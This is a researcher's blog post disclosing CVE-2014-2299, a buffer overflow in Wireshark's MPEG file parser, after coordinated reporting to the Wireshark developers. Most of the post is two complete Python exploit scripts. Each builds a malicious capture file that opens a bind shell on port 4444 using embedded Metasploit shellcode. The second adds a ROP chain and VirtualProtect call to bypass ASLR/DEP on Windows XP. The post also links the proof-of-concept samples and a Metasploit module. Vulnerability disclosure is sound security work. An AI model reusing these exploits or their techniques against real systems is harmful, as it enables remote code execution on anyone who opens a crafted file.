forsec

CVE-2014-2299: Wireshark MPEG file parser buffer overflow

wesley

Around the 6th of March 2014 i reported a security issue (CVE-2014-2299) to the developers ofWireshark-logo Wireshark. I discovered the vulnerability in Wireshark using file fuzzing. The versions 1.10.0 to 1.10.5 and 1.8.0 to 1.8.12 of Wireshark are affected by the vulnerability.

The vulnerability is present in the wiretap/mpeg.c file. The maximum packed size was not checked correctly, so the vulnerability could lead to a Denial of Service (DoS) or arbitrary code execution. The exact modification which is done by the developers of Wireshark to fix the problem, can be found here:

https://code.wireshark.org/review/#/c/533/2/wiretap/mpeg.c

After reporting the issue to the Wireshark team, the developers fixed the issue very quickly and they slowed down the next release of Wireshark, so they could fix the vulnerability first. I’ve send my proof-of-concept samples to Wireshark which trigger the vulnerability, so they could investigate the vulnerability closely. These proof of concepts are written for the Windows XP Service Pack 3 English operating system. The second proof of concept includes ASLR/DEP bypass. The samples  can be found here:

Sample 1: https://bugs.wireshark.org/bugzilla/attachment.cgi?id=12607
Sample 2 (ASLR/DEP bypass): https://bugs.wireshark.org/bugzilla/attachment.cgi?id=12608

I wrote the following exploits, in order to generate the proof of concept samples:

Exploit 1:

#!/usr/bin/python
# Wireshark 1.10.0-1.10.5 MPEG file parser SEH exploit
# Discovered: 14-6-2013
# Exploit written: 17-6-2013
# Vendor contacted: 6-3-2014
# Vulnerability solved: 7-3-2014 (upgrade to Wireshark 1.10.6)
# Exploit Published: 7-3-2014
# Email: security [at] forsec.nl
# Tested on Windows XP SP0, Wirehark 1.10.0
# CVE: CVE-2014-2299

import struct

header = '\xFF\xFB'

# bad chars = \x00\x0a\x0d\x09
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
shellcode = ( 
"w00tw00t" +
"\xdb\xdc\xba\xa0\x2a\xe7\xfa\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x31\x56\x18\x83\xc6\x04\x03\x56\xb4\xc8\x12\x06" +
"\x5c\x85\xdd\xf7\x9c\xf6\x54\x12\xad\x24\x02\x56\x9f\xf8" +
"\x40\x3a\x13\x72\x04\xaf\xa0\xf6\x81\xc0\x01\xbc\xf7\xef" +
"\x92\x70\x38\xa3\x50\x12\xc4\xbe\x84\xf4\xf5\x70\xd9\xf5" +
"\x32\x6c\x11\xa7\xeb\xfa\x83\x58\x9f\xbf\x1f\x58\x4f\xb4" +
"\x1f\x22\xea\x0b\xeb\x98\xf5\x5b\x43\x96\xbe\x43\xe8\xf0" +
"\x1e\x75\x3d\xe3\x63\x3c\x4a\xd0\x10\xbf\x9a\x28\xd8\xf1" +
"\xe2\xe7\xe7\x3d\xef\xf6\x20\xf9\x0f\x8d\x5a\xf9\xb2\x96" +
"\x98\x83\x68\x12\x3d\x23\xfb\x84\xe5\xd5\x28\x52\x6d\xd9" +
"\x85\x10\x29\xfe\x18\xf4\x41\xfa\x91\xfb\x85\x8a\xe1\xdf" +
"\x01\xd6\xb2\x7e\x13\xb2\x15\x7e\x43\x1a\xca\xda\x0f\x89" +
"\x1f\x5c\x52\xc6\xec\x53\x6d\x16\x7a\xe3\x1e\x24\x25\x5f" +
"\x89\x04\xae\x79\x4e\x6a\x85\x3e\xc0\x95\x25\x3f\xc8\x51" +
"\x71\x6f\x62\x73\xf9\xe4\x72\x7c\x2c\xaa\x22\xd2\x9e\x0b" +
"\x93\x92\x4e\xe4\xf9\x1c\xb1\x14\x02\xf7\xc4\x12\xcc\x23" +
"\x85\xf4\x2d\xd4\x38\x59\xbb\x32\x50\x71\xed\xed\xcc\xb3" +
"\xca\x25\x6b\xcb\x38\x1a\x24\x5b\x74\x74\xf2\x64\x85\x52" +
"\x51\xc8\x2d\x35\x21\x02\xea\x24\x36\x0f\x5a\x2e\x0f\xd8" +
"\x10\x5e\xc2\x78\x24\x4b\xb4\x19\xb7\x10\x44\x57\xa4\x8e" +
"\x13\x30\x1a\xc7\xf1\xac\x05\x71\xe7\x2c\xd3\xba\xa3\xea" +
"\x20\x44\x2a\x7e\x1c\x62\x3c\x46\x9d\x2e\x68\x16\xc8\xf8" +
"\xc6\xd0\xa2\x4a\xb0\x8a\x19\x05\x54\x4a\x52\x96\x22\x53" +
"\xbf\x60\xca\xe2\x16\x35\xf5\xcb\xfe\xb1\x8e\x31\x9f\x3e" +
"\x45\xf2\xaf\x74\xc7\x53\x38\xd1\x92\xe1\x25\xe2\x49\x25" +
"\x50\x61\x7b\xd6\xa7\x79\x0e\xd3\xec\x3d\xe3\xa9\x7d\xa8" +
"\x03\x1d\x7d\xf9"
)

junk1 = '\x41' * (70132-len(shellcode))

nseh = '\x90\x90\xEB\x04'
seh = struct.pack('<L', 0x61781709)

egghunter = '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\x57\xc3'

filestruct = junk1 + shellcode + nseh + seh + egghunter + '\x44' * (50-len(egghunter))

f = open('exploit.cap', 'w')
f.write(header + filestruct)

print 'Done .. evil file written'

Exploit 2 (ASLR/DEP bypass):

#!/usr/bin/python
# Wireshark 1.10.0-1.10.5 MPEG file parser SEH exploit ASLR/DEP Bypass
# Discovered: 14-6-2013
# Exploit written: 17-6-2013
# Vendor contacted: 6-3-2014
# Vulnerability solved: 7-3-2014 (upgrade to Wireshark 1.10.6)
# Exploit Published: 7-3-2014 
# Email: security [at] forsec.nl
# Tested on Windows XP SP3, DEP enabled, Wirehark 1.10.0
# CVE: CVE-2014-2299

import struct

header = '\xFF\xFB'

# Bad characters = \x00\x0a\x0d\x09
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
shellcode = ( 
"\xdb\xdc\xba\xa0\x2a\xe7\xfa\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x31\x56\x18\x83\xc6\x04\x03\x56\xb4\xc8\x12\x06" +
"\x5c\x85\xdd\xf7\x9c\xf6\x54\x12\xad\x24\x02\x56\x9f\xf8" +
"\x40\x3a\x13\x72\x04\xaf\xa0\xf6\x81\xc0\x01\xbc\xf7\xef" +
"\x92\x70\x38\xa3\x50\x12\xc4\xbe\x84\xf4\xf5\x70\xd9\xf5" +
"\x32\x6c\x11\xa7\xeb\xfa\x83\x58\x9f\xbf\x1f\x58\x4f\xb4" +
"\x1f\x22\xea\x0b\xeb\x98\xf5\x5b\x43\x96\xbe\x43\xe8\xf0" +
"\x1e\x75\x3d\xe3\x63\x3c\x4a\xd0\x10\xbf\x9a\x28\xd8\xf1" +
"\xe2\xe7\xe7\x3d\xef\xf6\x20\xf9\x0f\x8d\x5a\xf9\xb2\x96" +
"\x98\x83\x68\x12\x3d\x23\xfb\x84\xe5\xd5\x28\x52\x6d\xd9" +
"\x85\x10\x29\xfe\x18\xf4\x41\xfa\x91\xfb\x85\x8a\xe1\xdf" +
"\x01\xd6\xb2\x7e\x13\xb2\x15\x7e\x43\x1a\xca\xda\x0f\x89" +
"\x1f\x5c\x52\xc6\xec\x53\x6d\x16\x7a\xe3\x1e\x24\x25\x5f" +
"\x89\x04\xae\x79\x4e\x6a\x85\x3e\xc0\x95\x25\x3f\xc8\x51" +
"\x71\x6f\x62\x73\xf9\xe4\x72\x7c\x2c\xaa\x22\xd2\x9e\x0b" +
"\x93\x92\x4e\xe4\xf9\x1c\xb1\x14\x02\xf7\xc4\x12\xcc\x23" +
"\x85\xf4\x2d\xd4\x38\x59\xbb\x32\x50\x71\xed\xed\xcc\xb3" +
"\xca\x25\x6b\xcb\x38\x1a\x24\x5b\x74\x74\xf2\x64\x85\x52" +
"\x51\xc8\x2d\x35\x21\x02\xea\x24\x36\x0f\x5a\x2e\x0f\xd8" +
"\x10\x5e\xc2\x78\x24\x4b\xb4\x19\xb7\x10\x44\x57\xa4\x8e" +
"\x13\x30\x1a\xc7\xf1\xac\x05\x71\xe7\x2c\xd3\xba\xa3\xea" +
"\x20\x44\x2a\x7e\x1c\x62\x3c\x46\x9d\x2e\x68\x16\xc8\xf8" +
"\xc6\xd0\xa2\x4a\xb0\x8a\x19\x05\x54\x4a\x52\x96\x22\x53" +
"\xbf\x60\xca\xe2\x16\x35\xf5\xcb\xfe\xb1\x8e\x31\x9f\x3e" +
"\x45\xf2\xaf\x74\xc7\x53\x38\xd1\x92\xe1\x25\xe2\x49\x25" +
"\x50\x61\x7b\xd6\xa7\x79\x0e\xd3\xec\x3d\xe3\xa9\x7d\xa8" +
"\x03\x1d\x7d\xf9"
)

#---------------------          ROP 1        ------------------------#
rop = struct.pack('<L', 0x6c4c51b1)         # INC EAX # PUSH ESP # POP EBP # RETN    ** [libsmi-2.dll] **
rop += struct.pack('<L', 0x64755067)        # DEC EAX # RETN    ** [libpng15-15.dll] ** 
rop += struct.pack('<L',0x1003d541)         # ADD EAX,EBP # RETN    ** [wiretap-1.10.0.dll] **
rop += struct.pack('<L',0x61792c97)         # DEC EDX # ADD ESP,1C # RETN    ** [libgtk-win32-2.0-0.dll] **

#---------------------          ROP 2        ------------------------#
rop2 = struct.pack('<L', 0x647460a8)        # ADD EAX,144 # RETN    ** [libpng15-15.dll] **
rop2 += struct.pack('<L', 0x6c4f224e)       # MOV EDX,EBP # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [libsmi-2.dll] **
rop2 += struct.pack('<L', 0x41414141)       # Compensate POP EBX
rop2 += struct.pack('<L', 0x41414141)       # Compensate POP ESI
rop2 += struct.pack('<L', 0x41414141)       # Compensate POP EDI
rop2 += struct.pack('<L', 0x41414141)       # Compensate POP EBP
rop2 += struct.pack('<L', 0x68dd5049)       # MOV DWORD PTR DS:[EDX+10],EAX # RETN    ** [libcairo-2.dll] **
rop2 += struct.pack('<L', 0x6b8032ca)       # MOV DWORD PTR DS:[EDX+14],EAX # RETN    ** [libjpeg-8.dll] **
rop2 += struct.pack('<L', 0x655a5f3c)       # XOR EAX,EAX # RETN    ** [libpango-1.0-0.dll] **
rop2 += struct.pack('<L', 0x647460a8)       # ADD EAX,144 # RETN    ** [libpng15-15.dll] **
rop2 += struct.pack('<L', 0x647460a8)       # ADD EAX,144 # RETN    ** [libpng15-15.dll] **
rop2 += struct.pack('<L', 0x647460a8)       # ADD EAX,144 # RETN    ** [libpng15-15.dll] **
rop2 += struct.pack('<L', 0x6b28318b) * 8   # INC EDX # RETN    ** [libgpg-error-0.dll] **
rop2 += struct.pack('<L', 0x68dd5049)       # MOV DWORD PTR DS:[EDX+10],EAX # RETN    ** [libcairo-2.dll] **
rop2 += struct.pack('<L', 0x655a5f3c)       # XOR EAX,EAX # RETN    ** [libpango-1.0-0.dll] **
rop2 += struct.pack('<L', 0x78b462d3)       # ADD EAX,40 # POP EBP # RETN    ** [MSVCR100.dll] **
rop2 += struct.pack('<L', 0x41414141)       # Compensate POP EBP
rop2 += struct.pack('<L', 0x6b28318b) * 4   # INC EDX # RETN    ** [libgpg-error-0.dll] **
rop2 += struct.pack('<L', 0x68dd5049)       # MOV DWORD PTR DS:[EDX+10],EAX # RETN    ** [libcairo-2.dll] ** 
rop2 += struct.pack('<L', 0x68e12005)       # MOV EAX,EDX # RETN    ** [libcairo-2.dll] ** 
rop2 += struct.pack('<L', 0x63ccb108)       # PUSH EAX # POP ESP # RETN    ** [liblzma-5.dll] **

#--------------------- VirtualProtect parameters ------------------------#
params = struct.pack('<L', 0x7C801AD4)      # VirtualProtect address XP SP3
params += "WWWW"                            # Shellcode address
params += "XXXX"                            # Shellcode address
params += "YYYY"                            # Size
params += "ZZZZ"                            # EXECUTABLE 0x40
params += struct.pack('<L', 0x66824f7d)     # Writeable address

junk2 = '\x41' * 192                        # 192 first bytes
seh = struct.pack('<L',0x613dbb46)          # libfreetype-6.dll
ropnop = '\x90' * 100                       # NOPs

filestruct = junk2 + rop + params + '\x45' * 4 + rop2 + '\x41' * 280 + ropnop + shellcode + '\x41' * (70136-len(junk2)-len(params)-len(shellcode)-284-len(rop)-len(rop2)-len(ropnop)) + seh + params + '\x44' * (50-len(params))

f = open('exploit.cap', 'w')
f.write(header + filestruct)

print 'Done .. evil file written'

Please note: the proof of concept files are starting a bind_tcp shell listener on port 4444.

J0sm1 developed a Metasploit module in order to exploit the vulnerability easily using metasploit:

http://www.rapid7.com/db/modules/exploit/windows/fileformat/wireshark_mpeg_overflow